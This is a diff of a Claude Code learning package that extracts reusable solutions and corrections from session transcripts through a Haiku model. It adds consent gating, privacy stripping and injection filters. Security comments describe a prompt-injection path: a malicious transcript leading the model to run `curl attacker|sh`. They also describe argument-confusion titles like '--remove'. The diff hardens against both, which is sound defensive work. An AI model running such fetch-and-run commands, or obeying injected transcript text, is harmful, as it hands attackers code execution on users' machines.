@wooojin/forgen 0.4.13 → 0.5.5

package/dist/core/auto-compound-runner.js

@@ -16,8 +16,12 @@ import { promisify } from 'node:util';
 const execFileAsync = promisify(execFile);
 import { createRequire } from 'node:module';
 import { containsPromptInjection, filterSolutionContent } from '../hooks/prompt-injection-filter.js';
+import { isSelfReferentialEcho } from './config-injector.js';
 import { redactSecrets } from '../hooks/secret-filter.js';
+import { stripPrivate } from '../engine/private-filter.js';
 import { createEvidence, saveEvidence, promoteSessionCandidates } from '../store/evidence-store.js';
+import { isHaikuCompoundEnabled } from './compound-consent.js';
+import { summarizeTranscript } from './transcript-summary.js';
 import { loadProfile } from '../store/profile-store.js';
 import { FORGEN_HOME, ME_DIR } from './paths.js';
 import { classifyBehaviorKind, mapKindToAxisRefs } from './behavior-classifier.js';
@@ -45,7 +49,10 @@ function execClaudeRetry(args, opts) {
         const MAX_ATTEMPTS = 2;
         for (let attempt = 1; attempt <= MAX_ATTEMPTS; attempt++) {
             try {
-                return execFileSync('claude', args, opts);
+                return execFileSync('claude', mod.withNestedRunClaudeArgs(args), {
+                    ...opts,
+                    env: { ...process.env, ...(opts.env ?? {}), ...mod.NESTED_RUN_ENV },
+                });
             }
             catch (e) {
                 const msg = e instanceof Error ? e.message : String(e);
@@ -91,6 +98,23 @@ function execClaudeRetry(args, opts) {
  * 본 함수는 0.4.7 작업의 foundation 으로 박제 — export 하여 unused warning 회피.
  * 동작은 sync 버전과 동일: Claude/Codex 분기 + retry on transient.
  */
+/**
+ * ADR-012 D: Haiku transcript-요약 추출은 **opt-in**. 동의 없으면 '' 반환 → 각 추출 phase 는
+ * fail-open(try/catch)이라 아무것도 쓰지 않고, 뒤의 `promoteSessionCandidates`(결정론·egress 0)
+ * 만 남는다. "우리는 당신 몰래 API 로 보내지 않는다".
+ */
+let haikuOptOutNoticeShown = false;
+function extractViaHaiku(args, opts) {
+    if (!isHaikuCompoundEnabled()) {
+        if (!haikuOptOutNoticeShown) {
+            process.stderr.write('[forgen-auto-compound] Haiku 추출 opt-in 비활성 — 결정론 룰 승급만 수행 ' +
+                '(활성: `forgen compound consent on`)\n');
+            haikuOptOutNoticeShown = true;
+        }
+        return '';
+    }
+    return execClaudeRetry(args, opts);
+}
 export async function execClaudeRetryAsync(args, opts) {
     const mod = createRequire(import.meta.url)('../host/exec-host.js');
     const profileMod = createRequire(import.meta.url)('../store/profile-store.js');
@@ -101,7 +125,10 @@ export async function execClaudeRetryAsync(args, opts) {
         const MAX_ATTEMPTS = 2;
         for (let attempt = 1; attempt <= MAX_ATTEMPTS; attempt++) {
             try {
-                const { stdout } = await execFileAsync('claude', args, opts);
+                const { stdout } = await execFileAsync('claude', mod.withNestedRunClaudeArgs(args), {
+                    ...opts,
+                    env: { ...process.env, ...(opts.env ?? {}), ...mod.NESTED_RUN_ENV },
+                });
                 return typeof stdout === 'string' ? stdout : stdout.toString();
             }
             catch (e) {
@@ -216,79 +243,9 @@ function validateSolutionFiles(dirBefore) {
     }
     return removed;
 }
-function extractText(c) {
-    if (typeof c === 'string')
-        return c;
-    if (Array.isArray(c)) {
-        return c
-            .filter((x) => typeof x === 'object' && x !== null && x.type === 'text')
-            .map((x) => (typeof x.text === 'string' ? x.text : ''))
-            .join('\n');
-    }
-    return '';
-}
-/**
- * 0.4.6 — claude/codex JSONL 양 schema 호환.
- *
- * Claude: {type: 'user'|'assistant', content: ...}
- * Codex: {type: 'response_item', payload: {type: 'message', role: 'user'|'assistant', content: [{type: 'input_text', text: ...}]}}
- */
+/** 파일 → 요약. 순수 로직은 transcript-summary 모듈(테스트 가능). */
 function extractSummary(filePath, maxChars = 8000) {
-    const content = fs.readFileSync(filePath, 'utf-8');
-    const lines = content.split('\n').filter(Boolean);
-    const messages = [];
-    let totalChars = 0;
-    for (const line of lines) {
-        try {
-            const entry = JSON.parse(line);
-            // Claude schema
-            if (entry.type === 'user' || entry.type === 'queue-operation') {
-                const text = extractText(entry.content);
-                if (text) {
-                    messages.push(`[User] ${text.slice(0, 500)}`);
-                    totalChars += text.length;
-                }
-            }
-            else if (entry.type === 'assistant') {
-                const text = extractText(entry.content);
-                if (text) {
-                    messages.push(`[Assistant] ${text.slice(0, 500)}`);
-                    totalChars += text.length;
-                }
-            }
-            // Codex schema
-            else if (entry.type === 'response_item' && entry.payload?.role === 'user') {
-                const text = extractCodexText(entry.payload.content);
-                if (text) {
-                    messages.push(`[User] ${text.slice(0, 500)}`);
-                    totalChars += text.length;
-                }
-            }
-            else if (entry.type === 'response_item' && entry.payload?.role === 'assistant') {
-                const text = extractCodexText(entry.payload.content);
-                if (text) {
-                    messages.push(`[Assistant] ${text.slice(0, 500)}`);
-                    totalChars += text.length;
-                }
-            }
-        }
-        catch { /* skip */ }
-        if (totalChars > maxChars)
-            break;
-    }
-    return messages.join('\n\n');
-}
-/** Codex content array → flat string. content: [{type: 'input_text', text: ...}] */
-function extractCodexText(content) {
-    if (!Array.isArray(content))
-        return '';
-    const parts = [];
-    for (const item of content) {
-        if (item && typeof item === 'object' && 'text' in item && typeof item.text === 'string') {
-            parts.push(item.text);
-        }
-    }
-    return parts.join('\n').trim();
+    return summarizeTranscript(fs.readFileSync(filePath, 'utf-8'), maxChars);
 }
 /**
  * 기존 behavior 파일에 유사 패턴이 있으면 observedCount를 +1 증가.
@@ -343,10 +300,21 @@ try {
     // R5-G2 (P0 security): transcript 를 Claude 로 송신하기 전 API key / 토큰 / 비밀번호 /
     // private key blocks 를 [REDACTED:...] 로 치환. 사용자가 채팅에 pasted 한 자격증명이
     // auto-compound 를 통해 외부 API 로 누출되는 채널 차단.
-    const { redacted: summary, hits: secretHits } = redactSecrets(rawSummary);
+    const { redacted: redactedSummary, hits: secretHits } = redactSecrets(rawSummary);
     if (secretHits.length > 0) {
         process.stderr.write(`[forgen-auto-compound] redacted ${secretHits.length} secret(s) before send: ${secretHits.map((s) => s.name).join(', ')}\n`);
     }
+    // W2-5 (private 태그, flow-reviewer SEV-2): redactSecrets(보안) 와 직교하는 프라이버시
+    // 축. 이 auto-compound-runner 는 학습 코퍼스의 *주 자동 캡처 경로* — 세션 종료마다
+    // 전체 트랜스크립트를 추출 LLM 으로 보내고 behavior/solution 으로 파생한다. 사용자가
+    // <private> 로 표시한 범위를 LLM 송신·behavior write 전에 제거해야 "안심하고 교정"
+    // 약속이 주 경로에서 지켜진다.
+    const { cleaned: summary, hadPrivate } = stripPrivate(redactedSummary);
+    if (hadPrivate) {
+        process.stderr.write(`[forgen-auto-compound] excluded <private> range(s) before send (privacy)\n`);
+    }
+    if (summary.length < 200)
+        process.exit(0);
     // 보안: 프롬프트 인젝션이 포함된 transcript는 분석하지 않음
     if (containsPromptInjection(summary)) {
         process.exit(0);
@@ -397,31 +365,84 @@ try {
         }
     }
     catch { /* ignore */ }
+    // 결함2 corrected fix (2026-08-19): 이전엔 모델에게 `Bash(forgen compound:*)` 도구를 주고
+    // forgen compound 를 "직접 실행"시켰으나, headless haiku 는 도구 호출이 근본적으로
+    // 불안정해(라이브 확증: 동일 조건에서 실행/미실행 1↔0 오락가락) 산출이 forgen 생애
+    // 통틀어 0건이었다. 이제 behavior 경로와 동일하게 — 모델은 재사용 솔루션을 텍스트로만
+    // 출력하고(안정적), 러너가 파싱해 forgen 을 직접 실행한다.
+    //   이점: (a) 모델에 Bash 도구를 아예 주지 않으므로 P1-S1 인젝션 표면 제거 — 모델 출력은
+    //   파싱·필터를 거쳐 execFileSync 의 *인자*로만 쓰이고 셸을 거치지 않아 임의 명령 실행 불가.
+    //   (b) 도구 호출 신뢰성 문제 제거. (c) forgen 을 이 러너 node 의 형제 바이너리(절대경로)로
+    //   호출해 cron sparse PATH 에 forgen 이 없던 문제(라이브 확증)도 해소.
     const solutionPrompt = `다음은 이전 Claude Code 세션의 대화 요약입니다.
-미래 세션에서 재사용할 수 있는 패턴, 해결책, 의사결정을 추출해주세요.
-
-각 항목은 반드시 다음을 포함해야 합니다:
-- **제목**: 구체적이고 검색 가능한 이름 (예: "vitest-mock-esm-pattern", "react-state-lifting-decision")
-- **설명**: (1) 무엇을 했는지 (2) 왜 그렇게 했는지 (3) 어떻게 적용하는지
+미래 세션에서 재사용할 수 있는 패턴/해결책/의사결정을 추출해주세요.
+각 항목을 정확히 아래 한 줄 형식으로만 출력하세요 (다른 설명 없이, 코드블록도 불필요):
+forgen compound --solution "제목" "설명 (무엇 + 왜 + 어떻게 적용)"
 
-형식: forgen compound --solution "제목" "설명 (why + how to apply)"
+- 제목: 구체적이고 검색 가능한 이름 (예: "react-high-frequency-event-raf-throttle")
+- 설명: (1) 무엇을 했는지 (2) 왜 그렇게 했는지 (3) 어떻게 적용하는지
 추출할 것이 없으면 "추출할 패턴 없음"이라고만 답하세요.
 최대 3개. 피상적인 관찰(예: "TypeScript를 사용함")은 제외. 기존 솔루션과 중복 금지.${existingList}
 
 ---
 ${sanitizedSummary.slice(0, 6000)}
 ---`;
-    // P1-S1 fix (2026-04-20): 과거에는 `--allowedTools Bash`로 전체 Bash 권한을 줘서
-    // 악성 transcript(공급망 인젝션)가 filter를 우회해 `curl attacker|sh` 같은 명령을
-    // 피해자 권한으로 실행시킬 수 있었다. 이제 `Bash(forgen compound:*)`로 좁혀 Claude
-    // 가 compound 추출용 forgen CLI 호출만 가능하게 한다. filter-bypass 시에도 임의
-    // 명령 실행 차단.
+    let solutionOutput = '';
     try {
-        execClaudeRetry(['-p', solutionPrompt, '--allowedTools', 'Bash(forgen compound:*)', '--model', COMPOUND_MODEL], { cwd, timeout: 90_000, stdio: ['pipe', 'ignore', 'pipe'] });
+        solutionOutput = extractViaHaiku(['-p', solutionPrompt, '--model', COMPOUND_MODEL], { cwd, timeout: 90_000, encoding: 'utf-8' }) || '';
     }
     catch (e) {
         process.stderr.write(`[forgen-auto-compound] solution extraction: ${e instanceof Error ? e.message : String(e)}\n`);
     }
+    // 모델 출력에서 `--solution "제목" "설명"` 을 파싱해 forgen 을 직접 실행(결정론적).
+    // forgen 은 이 러너를 돌리는 node 의 형제 바이너리를 절대경로로 호출 — sparse PATH 의존 제거.
+    const nodeBinDir = path.dirname(process.execPath);
+    const forgenBin = fs.existsSync(path.join(nodeBinDir, 'forgen'))
+        ? path.join(nodeBinDir, 'forgen')
+        : 'forgen';
+    const solutionArgRe = /--solution\s+"((?:[^"\\]|\\.)+)"\s+"((?:[^"\\]|\\.)+)"/g;
+    let match;
+    let extractedCount = 0;
+    // biome-ignore lint/suspicious/noAssignInExpressions: regex exec 루프 관용구
+    while ((match = solutionArgRe.exec(solutionOutput)) !== null && extractedCount < 3) {
+        const title = match[1].replace(/\\"/g, '"').trim();
+        const rawContent = match[2].replace(/\\"/g, '"').trim();
+        if (!title || rawContent.length < 20)
+            continue;
+        // 보안(argument confusion): title/content 는 untrusted 모델 출력이다. execFileSync
+        // 인자로 넘기므로 셸 인젝션은 없지만, '-' 로 시작하면 forgen 의 인자 파서가 이를
+        // 플래그로 오해석할 수 있다(예: 악성 title "--remove" → 삭제 분기). 정상 제목/설명은
+        // '-' 로 시작하지 않으므로 대시-선두 값은 스킵한다. (handleCompound 의 위치인자 파서가
+        // startsWith('--') 를 필터하는 것에 더해 러너에서 원천 차단.)
+        if (title.startsWith('-') || rawContent.startsWith('-')) {
+            process.stderr.write('[forgen-auto-compound] solution: dash-leading title/content, skipping (arg-confusion guard)\n');
+            continue;
+        }
+        // 모델 출력은 untrusted transcript 파생 — 저장 전 injection/exfil 필터(defense in depth).
+        if (containsPromptInjection(`${title} ${rawContent}`)) {
+            process.stderr.write('[forgen-auto-compound] solution: injection detected in LLM output, skipping\n');
+            continue;
+        }
+        const contentScan = filterSolutionContent(rawContent);
+        if (contentScan.verdict === 'block') {
+            process.stderr.write('[forgen-auto-compound] solution: content blocked by filter, skipping\n');
+            continue;
+        }
+        try {
+            // title/content 는 execFileSync 의 *인자*로만 전달 — 셸 미경유라 메타문자가 있어도
+            // 명령 인젝션 불가. FORGEN_HOME 등 env 는 그대로 상속되어 올바른 스토어에 기록된다.
+            execFileSync(forgenBin, ['compound', '--solution', title, contentScan.sanitized], {
+                cwd,
+                timeout: 20_000,
+                stdio: ['ignore', 'ignore', 'pipe'],
+                env: { ...process.env, PATH: `${nodeBinDir}${path.delimiter}${process.env.PATH ?? ''}` },
+            });
+            extractedCount++;
+        }
+        catch (e) {
+            process.stderr.write(`[forgen-auto-compound] solution write: ${e instanceof Error ? e.message : String(e)}\n`);
+        }
+    }
     // Post-extraction quality validation: remove files that fail lightweight gates
     const removedCount = validateSolutionFiles(solutionsBefore);
     if (removedCount > 0) {
@@ -449,7 +470,7 @@ ${sanitizedSummary.slice(0, 6000)}
 ${sanitizedSummary.slice(0, 4000)}
 ---`;
     try {
-        const userResult = execClaudeRetry(['-p', userPrompt, '--model', COMPOUND_MODEL], {
+        const userResult = extractViaHaiku(['-p', userPrompt, '--model', COMPOUND_MODEL], {
             cwd, timeout: 60_000, encoding: 'utf-8',
         });
         // 결과가 의미 있으면 behavior/ 파일로 저장
@@ -468,7 +489,14 @@ ${sanitizedSummary.slice(0, 4000)}
         if (isInjection) {
             process.stderr.write(`[forgen-auto-compound] behavior: injection detected in LLM output, skipping write\n`);
         }
-        if (userResult && !isInjection && !userResult.includes('관찰된 패턴 없음') && userResult.trim().length > 10) {
+        // ADR-010 W1-2 캡처 사이드 에코 차단: Claude-voice 에코("이해했습니다…",
+        // "I see the notification…")를 저장 전에 거른다. 렌더 필터만으로는 스토어
+        // 오염이 누적된다 — 실측(2026-07-16) 오염 49건 전부 이 형태였음.
+        const isEcho = userResult ? isSelfReferentialEcho(userResult.trim()) : false;
+        if (isEcho && !isInjection) {
+            process.stderr.write(`[forgen-auto-compound] behavior: assistant-voice echo detected, skipping write\n`);
+        }
+        if (userResult && !isInjection && !isEcho && !userResult.includes('관찰된 패턴 없음') && userResult.trim().length > 10) {
             userPatternFound = true; // 0.4.6 perf #12 — adaptive cooldown 시그널
             fs.mkdirSync(BEHAVIOR_DIR, { recursive: true });
             const today = new Date().toISOString().split('T')[0];
@@ -520,7 +548,9 @@ ${sanitizedSummary.slice(0, 4000)}
 ${profileContext}
 출력 형식 (JSON만, 설명 없이):
 {
-  "corrections": ["사용자가 명시적으로 교정한 내용 목록"],
+  "corrections": [
+    { "policy": "이런 상황에서는 이렇게 하라(구체·행동가능)", "target": "무엇에 대한 교정인가(짧은 명사구)", "kind": "prefer-from-now" 또는 "avoid-this", "axis": "quality_safety" 또는 "autonomy" 또는 "judgment_philosophy" 또는 "communication_style" }
+  ],
   "observations": ["사용자의 반복 행동 패턴 목록"],
   "pack_direction": null 또는 "opposite_quality" 또는 "opposite_autonomy",
   "profile_delta": {
@@ -532,7 +562,15 @@ ${profileContext}
 }
 
 규칙:
-- corrections: "하지마", "그렇게 말고", "앞으로는" 같은 명시 교정만. 없으면 빈 배열.
+- corrections: 사용자가 어시스턴트의 행동/접근/출력을 **교정한 지점**을 찾아라. 명시 마커
+  ("하지마", "그렇게 말고", "앞으로는")뿐 아니라, **직전 [Assistant] 행동 대비 [User]가
+  방향을 튼 경우**도 포함:
+    · 긍정 지시형("~해줘", "~돌려봐" — 어시스턴트가 안 하던 걸 요구)
+    · 반사실형("~했어야 했다", "~에서 했어야 하는 거 아니야?")
+    · 완곡형("~안 해도 될 것 같아", "굳이 ~해야 할까?")
+    · 부정/반박형("아니", "그게 아니라", "틀렸어")
+  단순 진행 지시("다음 거 하자", "옵션 A로")나 질문은 제외. 없으면 빈 배열.
+  각 교정은 policy(재사용 가능한 규칙문, 20자 이상)·target·kind·axis 로 구조화.
 - observations: 3회 이상 반복된 행동만. 없으면 빈 배열.
 - pack_direction: 사용자가 현재 pack과 반대 방향으로 일관되게 행동했으면 opposite_quality 또는 opposite_autonomy. 아니면 null.
 - profile_delta: facet 조정 제안. -0.1~+0.1 범위. 변화 없으면 0.0.
@@ -541,7 +579,7 @@ ${profileContext}
 ---
 ${sanitizedSummary.slice(0, 4000)}
 ---`;
-            const learningResult = execClaudeRetry(['-p', learningSummaryPrompt, '--model', COMPOUND_MODEL], {
+            const learningResult = extractViaHaiku(['-p', learningSummaryPrompt, '--model', COMPOUND_MODEL], {
                 cwd, timeout: 60_000, encoding: 'utf-8',
             });
             // JSON 파싱 시도
@@ -570,6 +608,46 @@ ${sanitizedSummary.slice(0, 4000)}
                     fs.mkdirSync(V1_EVIDENCE_DIR, { recursive: true });
                     fs.writeFileSync(path.join(V1_EVIDENCE_DIR, `${evidenceId}.json`), JSON.stringify(evidence, null, 2));
                 }
+                // ADR-013: 채굴된 교정을 **승급 가능 Evidence** 로 emit (기존엔 session_summary 로
+                // 죽던 데드엔드). auto_mined → promoteSessionCandidates 가 **advisory-only**(차단 불가) +
+                // "auto:" 네임스페이스 + 생성나이 은퇴로 승급. ①(실시간 명시 교정)과 엄격 차등.
+                // 안전(리뷰 SEV-1/2): (a) run 당 최대 MAX_MINED_PER_RUN 개만(무한 룰 주입 방지),
+                // (b) policy 를 injection 필터 통과(환각 payload 가 영구 룰이 되는 것 차단),
+                // (c) policy≥20 + target 필수.
+                const MAX_MINED_PER_RUN = 3;
+                let minedCorrections = 0;
+                for (const c of (parsed.corrections ?? [])) {
+                    if (minedCorrections >= MAX_MINED_PER_RUN)
+                        break; // 캡 (SEV-1 #3)
+                    if (!c || typeof c !== 'object')
+                        continue;
+                    const policy = typeof c.policy === 'string' ? c.policy.trim() : '';
+                    const target = typeof c.target === 'string' ? c.target.trim() : '';
+                    const kind = c.kind === 'avoid-this' ? 'avoid-this' : 'prefer-from-now';
+                    const axis = typeof c.axis === 'string' ? c.axis : null;
+                    if (policy.length < 20 || !target)
+                        continue;
+                    // 출력 sanitize (SEV-2 #5): 채굴 policy 는 미래 세션 프롬프트에 룰로 주입되므로,
+                    // injection payload 를 룰화하지 않도록 입력과 동일한 필터를 출력에도 적용.
+                    if (containsPromptInjection(policy) || containsPromptInjection(target)) {
+                        process.stderr.write('[forgen-auto-compound] skipped mined correction (injection filter)\n');
+                        continue;
+                    }
+                    const ev = createEvidence({
+                        type: 'explicit_correction',
+                        session_id: sessionId,
+                        source_component: 'auto-compound-miner',
+                        summary: policy,
+                        axis_refs: axis ? [axis] : [],
+                        confidence: 0.55, // ①(실시간)보다 낮게 — 채굴 불확실성 반영
+                        raw_payload: { kind, target, axis_hint: axis, auto_mined: true },
+                    });
+                    saveEvidence(ev);
+                    minedCorrections++;
+                }
+                if (minedCorrections > 0) {
+                    process.stderr.write(`[forgen-auto-compound] mined ${minedCorrections} correction(s) (advisory-only, capped, age-retired)\n`);
+                }
                 // facet delta 적용
                 if (parsed.profile_delta) {
                     const profile = JSON.parse(fs.readFileSync(V1_PROFILE, 'utf-8'));
@@ -638,6 +716,20 @@ ${sanitizedSummary.slice(0, 4000)}
     catch (e) {
         process.stderr.write(`[forgen-auto-compound] rule promotion: ${e instanceof Error ? e.message : String(e)}\n`);
     }
+    // Step 4b (W3-2): 교정 클러스터링 — 같은 원칙을 N회 교정해 흩어진 룰을 1개 명명 룰로
+    // 통합하고 강도를 반복 신호(Laplace)로 승급. 승급 직후 같은 패스에서 실행. fail-open.
+    try {
+        const { runCorrectionClustering } = await import('../engine/correction-cluster-runner.js');
+        const merges = await runCorrectionClustering();
+        for (const m of merges) {
+            process.stderr.write(`[forgen-auto-compound] clustered ${m.memberIds.length} correction(s) → 1 rule ` +
+                `[${m.category}, strength=${m.strength}, conf=${m.confidence.toFixed(2)}] — ` +
+                `undo: forgen rule unmerge-cluster ${m.mergedRuleId}\n`);
+        }
+    }
+    catch (e) {
+        process.stderr.write(`[forgen-auto-compound] correction clustering: ${e instanceof Error ? e.message : String(e)}\n`);
+    }
     // H2: count newly extracted solutions (post-quality-gate) for Stop hook 알림.
     // solutionsBefore 스냅샷 vs 현재 디스크 상태 차분 → "N개 패턴 학습됨" 1줄.
     let extractedSolutionsCount = 0;
@@ -682,6 +774,18 @@ ${sanitizedSummary.slice(0, 4000)}
     catch (e) {
         process.stderr.write(`[forgen-gc] state prune failed: ${e instanceof Error ? e.message : String(e)}\n`);
     }
+    // ADR-010 W3-1 (F2): 세션 종료마다 ROI 재판정 — surfaced≫acted_on 솔루션
+    // 강등/격리. δ 가 100% injection 에서 나오므로(실측) 주입 품질 = 효과.
+    try {
+        const { updateRoiDemotions } = await import('../engine/roi-demotion.js');
+        const roi = updateRoiDemotions();
+        if (roi && (roi.demoted > 0 || roi.quarantined > 0)) {
+            process.stderr.write(`[forgen-roi] low-ROI solutions: ${roi.demoted} demoted, ${roi.quarantined} quarantined\n`);
+        }
+    }
+    catch (e) {
+        process.stderr.write(`[forgen-roi] update failed: ${e instanceof Error ? e.message : String(e)}\n`);
+    }
     // Step 6 (v0.4.1): rule lifecycle 자동 실행 — rule 의 violations/bypass/drift
     // 신호에 따른 자동 강등/승격. 이전에는 CLI (`forgen rule scan --apply`) 수동
     // 호출만 있어서 구매자가 몇 주 써도 rule 정비 안 됨 → 쓸모없는 rule 이 계속
@@ -721,6 +825,9 @@ ${sanitizedSummary.slice(0, 4000)}
         extractedSolutions: extractedSolutionsCount,
         promotedRules: promotedCount,
         userPatternFound, // 0.4.6 perf #12 — adaptive cooldown 시그널
+        // ADR-011 B수정: 이 run 시점의 프롬프트 수 기록 → 이후 barren backoff 결정 시
+        // 세션이 자라났으면(promptCount 증가) barren 을 무시하고 재추출하기 위함.
+        promptCount: Number(process.argv[5] ?? 0) || 0,
         noticeShown: false,
     }));
 }

package/dist/core/changelog-cli.d.ts

@@ -4,4 +4,7 @@
  * Reads git log between the latest vX.Y.Z tag and HEAD, groups by
  * conventional commit type, and outputs a ready-to-paste changelog.
  */
-export declare function handleChangelog(): Promise<void>;
+/** `opts.cwd`: git 저장소 위치 (기본 process.cwd()). 테스트 fixture 용. */
+export declare function handleChangelog(opts?: {
+    cwd?: string;
+}): Promise<void>;

package/dist/core/changelog-cli.js

@@ -14,23 +14,23 @@ const C = {
     green: isTTY ? '\x1b[32m' : '',
     yellow: isTTY ? '\x1b[33m' : '',
 };
-function getLatestTag() {
+function getLatestTag(cwd) {
     try {
         return execFileSync('git', ['describe', '--tags', '--abbrev=0'], {
-            encoding: 'utf-8', timeout: 5000, stdio: ['pipe', 'pipe', 'pipe'],
+            encoding: 'utf-8', timeout: 5000, stdio: ['pipe', 'pipe', 'pipe'], cwd,
         }).trim();
     }
     catch {
         return null;
     }
 }
-function getCommitsSince(tag) {
+function getCommitsSince(tag, cwd) {
     try {
         const args = tag
             ? ['log', `${tag}..HEAD`, '--oneline', '--no-merges']
             : ['log', '--oneline', '--no-merges', '-30'];
         return execFileSync('git', args, {
-            encoding: 'utf-8', timeout: 10000, stdio: ['pipe', 'pipe', 'pipe'],
+            encoding: 'utf-8', timeout: 10000, stdio: ['pipe', 'pipe', 'pipe'], cwd,
         }).trim().split('\n').filter(Boolean);
     }
     catch {
@@ -55,9 +55,10 @@ const TYPE_ORDER = {
     chore: { label: 'Maintenance', order: 6 },
     other: { label: 'Other', order: 7 },
 };
-export async function handleChangelog() {
-    const tag = getLatestTag();
-    const rawCommits = getCommitsSince(tag);
+/** `opts.cwd`: git 저장소 위치 (기본 process.cwd()). 테스트 fixture 용. */
+export async function handleChangelog(opts = {}) {
+    const tag = getLatestTag(opts.cwd);
+    const rawCommits = getCommitsSince(tag, opts.cwd);
     if (rawCommits.length === 0) {
         console.log(`\n  ${C.dim}No commits since ${tag ?? 'beginning'}.${C.reset}\n`);
         return;

package/dist/core/compound-consent.d.ts

@@ -0,0 +1,15 @@
+export type ConsentSource = 'env-off' | 'env-on' | 'config' | 'default';
+export interface ConsentState {
+    enabled: boolean;
+    source: ConsentSource;
+}
+/** 순수: env + config 값으로 Haiku 동의 해석 (테스트 가능). */
+export declare function resolveHaikuConsent(env: {
+    no?: string;
+    on?: string;
+}, configValue: boolean | undefined): ConsentState;
+export declare function getHaikuConsentState(): ConsentState;
+/** 러너가 Haiku 전송 전에 확인. */
+export declare function isHaikuCompoundEnabled(): boolean;
+/** 동의 저장(config.json 병합). env override 는 건드리지 않음. */
+export declare function setHaikuCompoundConsent(enabled: boolean): void;

package/dist/core/compound-consent.js

@@ -0,0 +1,48 @@
+/**
+ * auto-compound Haiku 추출 동의 (ADR-012 D 티어드).
+ *
+ * 결정론 경로(교정→룰 승급·notepad 주입, egress 0)는 항상 동작하고, **Haiku 로 transcript
+ * 요약을 전송하는 추출만** 이 동의로 게이트한다(default opt-in=off). "우리는 당신 몰래
+ * API 로 보내지 않는다".
+ *
+ * 우선순위: FORGEN_NO_AUTO_COMPOUND(강제 off) > FORGEN_AUTO_COMPOUND(강제 on) >
+ *           config(~/.forgen/config.json.autoCompoundHaiku) > default(false).
+ */
+import * as fs from 'node:fs';
+import * as path from 'node:path';
+import { FORGEN_HOME } from './paths.js';
+/** 순수: env + config 값으로 Haiku 동의 해석 (테스트 가능). */
+export function resolveHaikuConsent(env, configValue) {
+    if (env.no === '1')
+        return { enabled: false, source: 'env-off' };
+    if (env.on === '1')
+        return { enabled: true, source: 'env-on' };
+    if (typeof configValue === 'boolean')
+        return { enabled: configValue, source: 'config' };
+    return { enabled: false, source: 'default' }; // ADR-012: opt-in
+}
+const CONFIG_PATH = path.join(FORGEN_HOME, 'config.json');
+function readConfig() {
+    try {
+        return JSON.parse(fs.readFileSync(CONFIG_PATH, 'utf-8'));
+    }
+    catch {
+        return {};
+    }
+}
+export function getHaikuConsentState() {
+    const cfg = readConfig();
+    const configValue = typeof cfg.autoCompoundHaiku === 'boolean' ? cfg.autoCompoundHaiku : undefined;
+    return resolveHaikuConsent({ no: process.env.FORGEN_NO_AUTO_COMPOUND, on: process.env.FORGEN_AUTO_COMPOUND }, configValue);
+}
+/** 러너가 Haiku 전송 전에 확인. */
+export function isHaikuCompoundEnabled() {
+    return getHaikuConsentState().enabled;
+}
+/** 동의 저장(config.json 병합). env override 는 건드리지 않음. */
+export function setHaikuCompoundConsent(enabled) {
+    const cfg = readConfig();
+    cfg.autoCompoundHaiku = enabled;
+    fs.mkdirSync(FORGEN_HOME, { recursive: true });
+    fs.writeFileSync(CONFIG_PATH, `${JSON.stringify(cfg, null, 2)}\n`);
+}

package/dist/core/compound-sweep-cli.d.ts

@@ -0,0 +1,60 @@
+/** sweep 대상 후보의 최소 메타. */
+export interface TranscriptMeta {
+    sessionId: string;
+    transcriptPath: string;
+    cwd: string;
+    mtimeMs: number;
+    promptCount: number;
+}
+export interface SweepOpts {
+    nowMs: number;
+    /** 이 시간 내 수정된 transcript 만 대상 (기본 24h). */
+    windowMs: number;
+    /** 세션이 이만큼 지나야 재-sweep (기본 2h). */
+    staleMs: number;
+    /** 최소 user 프롬프트 수 (기본 10). */
+    minPrompts: number;
+    /** 한 sweep 당 최대 세션 수 (비용 상한, 기본 5). */
+    maxPerRun: number;
+}
+export declare const DEFAULT_SWEEP_OPTS: Omit<SweepOpts, 'nowMs'>;
+type SweepState = Record<string, {
+    sweptAt: number;
+}>;
+/**
+ * 순수 선택: 최근·충분한 대화·stale(오래 안 쓸린) 세션을, oldest-swept 우선으로 maxPerRun 만큼.
+ */
+export declare function selectSweepCandidates(transcripts: TranscriptMeta[], sweepState: SweepState, opts: SweepOpts): TranscriptMeta[];
+/** Claude projects 하위의 최근 transcript 를 열거해 메타 구성. */
+export declare function enumerateTranscripts(windowMs: number, nowMs: number): TranscriptMeta[];
+export interface SweepResult {
+    scanned: number;
+    eligible: number;
+    swept: string[];
+    stateSaveFailed?: boolean;
+}
+/**
+ * cron/CLI 진입점. dryRun 이면 실행 없이 후보만 보고.
+ * 무인 실행 안전장치: (1) 동시 실행 lock, (2) 실제 spawn('spawned') 만 sweptAt 기록,
+ * (3) state 저장 실패 시 경고 플래그.
+ */
+export declare function runCompoundSweep(opts?: {
+    dryRun?: boolean;
+} & Partial<Omit<SweepOpts, 'nowMs'>>): SweepResult;
+/** crontab 라인 구성 (순수 — 테스트 가능). 경로는 shell-quote(리뷰 SEV-2). */
+export declare function buildCronLine(nodePath: string, cliPath: string, logPath: string, schedule?: string): string;
+/** 기존 crontab 에서 forgen 라인을 upsert/제거 (순수 — 테스트 가능). */
+export declare function upsertCronText(existing: string, line: string | null): string;
+export interface CronOpResult {
+    ok: boolean;
+    message: string;
+}
+export declare function installCron(): CronOpResult;
+export declare function uninstallCron(): CronOpResult;
+export declare function cronStatus(): CronOpResult;
+/**
+ * CLI: forgen compound sweep [--dry-run|--install-cron|--uninstall-cron|--cron-status]
+ *   [--window-hours N] [--stale-hours M] [--prune-removed [--apply] [--retention-days N]]
+ */
+export declare function compoundSweepCli(args: string[]): void;
+export {};